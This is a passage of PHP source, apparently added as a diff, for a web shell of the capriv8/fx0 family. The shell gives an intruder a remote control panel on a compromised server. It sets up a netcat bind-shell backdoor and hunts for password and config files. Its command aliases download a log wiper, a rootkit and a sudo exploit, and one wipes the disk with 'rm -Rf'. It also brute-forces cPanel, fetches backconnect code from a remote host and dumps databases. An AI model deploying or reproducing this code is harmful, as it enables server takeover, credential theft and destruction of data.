class=fxerrmsg>Error:</div> Can't connect!"; } +function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; } + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) { + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if (is_writable(".")) { + cfb("shbd",$backdoor); + ex("chmod 777 shbd"); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + } else { + cfb("/tmp/shbd",$backdoor); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + } + if (eregi("./shbd $por",$scan)) { + $data = ("\n<br>Backdoor setup successfully."); + } else { + $data = ("\n<br>Process not found, backdoor setup failed!"); + } + $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data"; +} + + +@ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) { + function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); + } +} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) { + if (!function_exists("strips")) { + function strips(&$arr,$k="") { + if (is_array($arr)) { + foreach($arr as $k=>$v) { + if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } + } + } else {$arr = stripslashes($arr);} + } + } + strips($GLOBALS); +} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +$surl_autofill_include = TRUE; +foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} } +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +if (empty($surl)) { + $surl = "?".$includestr; +} +$surl = htmlspecialchars($surl); + +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf","conf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=red>","</font>"), + array("\.tgz$",1,"<font color=#C082FF>","</font>"), + array("\.gz$",1,"<font color=#C082FF>","</font>"), + array("\.tar$",1,"<font color=#C082FF>","</font>"), + array("\.bz2$",1,"<font color=#C082FF>","</font>"), + array("\.zip$",1,"<font color=#C082FF>","</font>"), + array("\.rar$",1,"<font color=#C082FF>","</font>"), + array("\.php$",1,"<font color=#00FF00>","</font>"), + array("\.php3$",1,"<font color=#00FF00>","</font>"), + array("\.php4$",1,"<font color=#00FF00>","</font>"), + array("\.jpg$",1,"<font color=#00FFFF>","</font>"), + array("\.jpeg$",1,"<font color=#00FFFF>","</font>"), + array("\.JPG$",1,"<font color=#00FFFF>","</font>"), + array("\.JPEG$",1,"<font color=#00FFFF>","</font>"), + array("\.ico$",1,"<font color=#00FFFF>","</font>"), + array("\.gif$",1,"<font color=#00FFFF>","</font>"), + array("\.png$",1,"<font color=#00FFFF>","</font>"), + array("\.htm$",1,"<font color=#00CCFF>","</font>"), + array("\.html$",1,"<font color=#00CCFF>","</font>"), + array("index.php",1,'<font color=red>','</font>'), + array("configuration.php",1,'<font color=red>','</font>'), + array("config.php",1,'<font color=red>','</font>'), + array("settings.php",1,'<font color=red>','</font>'), + array("connect.php",1,'<font color=red>','</font>'), + array("\.txt$",1,"<font color=#C0C0C0>","</font>") +); +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("Find all suid files", "find / -type f -perm -04000 -ls"), + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + array("Find config* files", "find / -type f -name \"config*\""), + array("Find config* files in current dir", "find . -type f -name \"config*\""), + array("Find all writable folders and files", "find / -perm -2 -ls"), + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("Find all writable folders", "find / -type d -perm -2 -ls"), + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + array("Find all service.pwd files", "find / -type f -name service.pwd"), + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("Find all .bash_history files", "find / -type f -name .bash_history"), + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | grep -i listen") + ); + $cmdaliases2 = array( + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("Find index.php in current dir", "dir /s /w /b index.php"), + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + array("Find r57shell in current dir", "find /c \"r57\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + array("Systeminfo","systeminfo") + ); +} +$phpfsaliases = array( + array("Read File", "read"), + array("Write File (PHP5)", "write"), + array("Copy", "copy"), + array("Rename/Move", "rename"), + array("Delete", "delete"), + array("Make Dir","mkdir"), + array("-----", ""), + array("Download", "download"), + array("Download (Binary Safe)", "downloadbin"), + array("Change Perm (0755)", "chmod"), + array("Find Writable Dir", "fwritabledir"), + array("Find Pathname Pattern", "glob"), +); + +$quicklaunch2 = array( + array("[Home]",$surl."=img&img=home"), + array("[Search]",$surl."x=search"), + array("[About]",$surl."x=about") +); +$quicklaunch1 = array( + array("[Security Info]",$surl."x=security&d=%d"), + array("[Processes]",$surl."x=processes&d=%d"), + array("[MySQL]",$surl."x=sql&d=%d"), + array("[PHP-Code]",$surl."x=eval&d=%d"), + array("[Encoder]",$surl."x=encoder&d=%d"), + array("[Backdoor]",$surl."x=shbd") +); +$quicklaunch3 = array( + array("[PHP-Tools]",$surl."x=phptools"), + array("[Cpanel Finder]",$surl."x=cpanel"), + array('[PHP|Backconnect]',$surl.'x=phpback'), + array("[Install PHP Proxy]",$surl."x=phpproxy"), + array("[Cpanel Brute]",$surl."x=fi"), + array("[Domain:User]",$surl."x=usrdom"), + array("[Find WR dir`s]",$surl."x=findwr") +); + + +$highlight_background = "#000000"; +$highlight_bg = "white"; +$highlight_comment = "#CCCCCC"; +$highlight_default = "orange"; +$highlight_html = "lightblue"; +$highlight_keyword = "lime"; +$highlight_string = "red"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["capriv8cook"]); +@set_time_limit(0); +$tmp = array(); +foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); } +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { + exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); +} +if (!empty($login)) { + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { + header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($x != "img") { + $lastdir = realpath("."); + chdir($curdir); + if ($selfwrite) { + @ob_clean(); + capriv8_getupdate($selfwrite,1); + exit; + } + $sess_data = unserialize($_COOKIE["$sess_cookie"]); + if (!is_array($sess_data)) {$sess_data = array();} + if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} + if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + if (!function_exists("cagetsource")) { + function cagetsource($fn) { + global $capriv8_sourcesurl; + $array = array( + "capriv8_bindport.pl" => "capriv8_bindport_pl.txt", + "capriv8_bindport.c" => "capriv8_bindport_c.txt", + "capriv8_backconn.pl" => "capriv8_backconn_pl.txt", + "capriv8_backconn.c" => "capriv8_backconn_c.txt", + "capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt", + "capriv8_datapipe.c" => "capriv8_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($capriv8_sourcesurl.$name);} + else {return FALSE;} + } + } + if (!function_exists("ca_buff_prepare")) { + function ca_buff_prepare() { + global $sess_data; + global $x; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} + } + } + ca_buff_prepare(); + if (!function_exists("ca_sess_put")) { + function ca_sess_put($data) { + global $sess_cookie; + global $sess_data; + ca_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); + } + } + foreach (array("sort","sql_sort") as $v) { + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} + } + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("str2mini")) { + function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} + } + } + if (!function_exists("view_size")) { + function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } + } + } + if (!function_exists("fs_copy_dir")) { + function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; + } + } + if (!function_exists("fs_copy_obj")) { + function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } + } + } + if (!function_exists("fs_move_dir")) { + function fs_move_dir($d,$t) { + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; + } + } + if (!function_exists("fs_move_obj")) { + function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} + } + } + if (!function_exists("fs_rmdir")) { + function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); + } + } + if (!function_exists("fs_rmobj")) { + function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} + } + } + if (!function_exists("tabsort")) { + function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} + } + if (!function_exists("view_perms")) { + function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); + } + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("parse_perms")) { + function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); + } + } + if (!function_exists("parsesort")) { + function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); + } + } + if (!function_exists("view_perms_color")) { + function view_perms_color($o) { + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} + } + } + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dumped by fx0 + # + # Host settings: + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # Date: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #---------------------------------------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;} + if ((!$submit) or ($sql_x)) { + echo "<table border=0><tr><td><form name=\"capriv8_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.capriv8_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if (!function_exists("cafsearch")) { + function cafsearch($d) { + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {cafsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); + } + } + if ($x == "gofile") { + if (is_dir($f)) { $x = "ls"; $d = $f; } + else { $x = "f"; $d = dirname($f); $f = basename($f); } + } + @ob_start(); + @ob_implicit_flush(0); + function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } + } + function capriv8exit() { + onphpshutdown(); + exit; + } + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + function showstat($stat) { + if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; } + else { return "<font color=red><b>OFF</b></font>"; } + } + function testperl() { + if (ex('perl -h')) { return showstat("on"); } + else { return showstat("off"); } + } + function testfetch() { + if(ex('fetch --help')) { return showstat("on"); } + else { return showstat("off"); } + } + function testwget() { + if (ex('wget --help')) { return showstat("on"); } + else { return showstat("off"); } + } + function testoracle() { + if (function_exists('ocilogon')) { return showstat("on"); } + else { return showstat("off"); } + } + function testpostgresql() { + if (function_exists('pg_connect')) { return showstat("on"); } + else { return showstat("off"); } + } + function testmssql() { + if (function_exists('mssql_connect')) { return showstat("on"); } + else { return showstat("off"); } + } + function testcurl() { + if (function_exists('curl_version')) { return showstat("on"); } + else { return showstat("off"); } + } + function testmysql() { + if (function_exists('mysql_connect')) { return showstat("on"); } + else { return showstat("off"); } + } + function showdisablefunctions() { + if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; } + else { return "<font color=#00FF00><b>NONE</b></b></font>"; } + } + if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { + $safemode = TRUE; + $hsafemode = "<font color=#3366FF><b>ON (Secure)</b></font>"; + } + else { + $safemode = FALSE; + $hsafemode = "<font color=red><b>OFF (Not Secure)</b></font>"; + } + $v = @ini_get("open_basedir"); + if ($v or strtolower($v) == "on") { + $openbasedir = TRUE; + $hopenbasedir = "<font color=red>".$v."</font>"; + } + else { + $openbasedir = FALSE; + $hopenbasedir = "<font color=green>OFF (not secure)</font>"; + } + $quotes = get_magic_quotes_gpc(); +if ($quotes == "1" or $quotes == "on") + { + $quot = "<font color='red'>ON</font>"; + } + else + { + $quot = "<font color='green'>OFF</font>"; + } + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($actbox)) { $actbox = array(); } + $dspact = $x = htmlspecialchars($x); + $disp_fullpath = $ls_arr = $notls = null; + $ud = urlencode($d); + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); +echo $html_start; +echo "<table id=pagebar><tr><td width=50%><p>". + "Software : ".$DISP_SERVER_SOFTWARE ." - 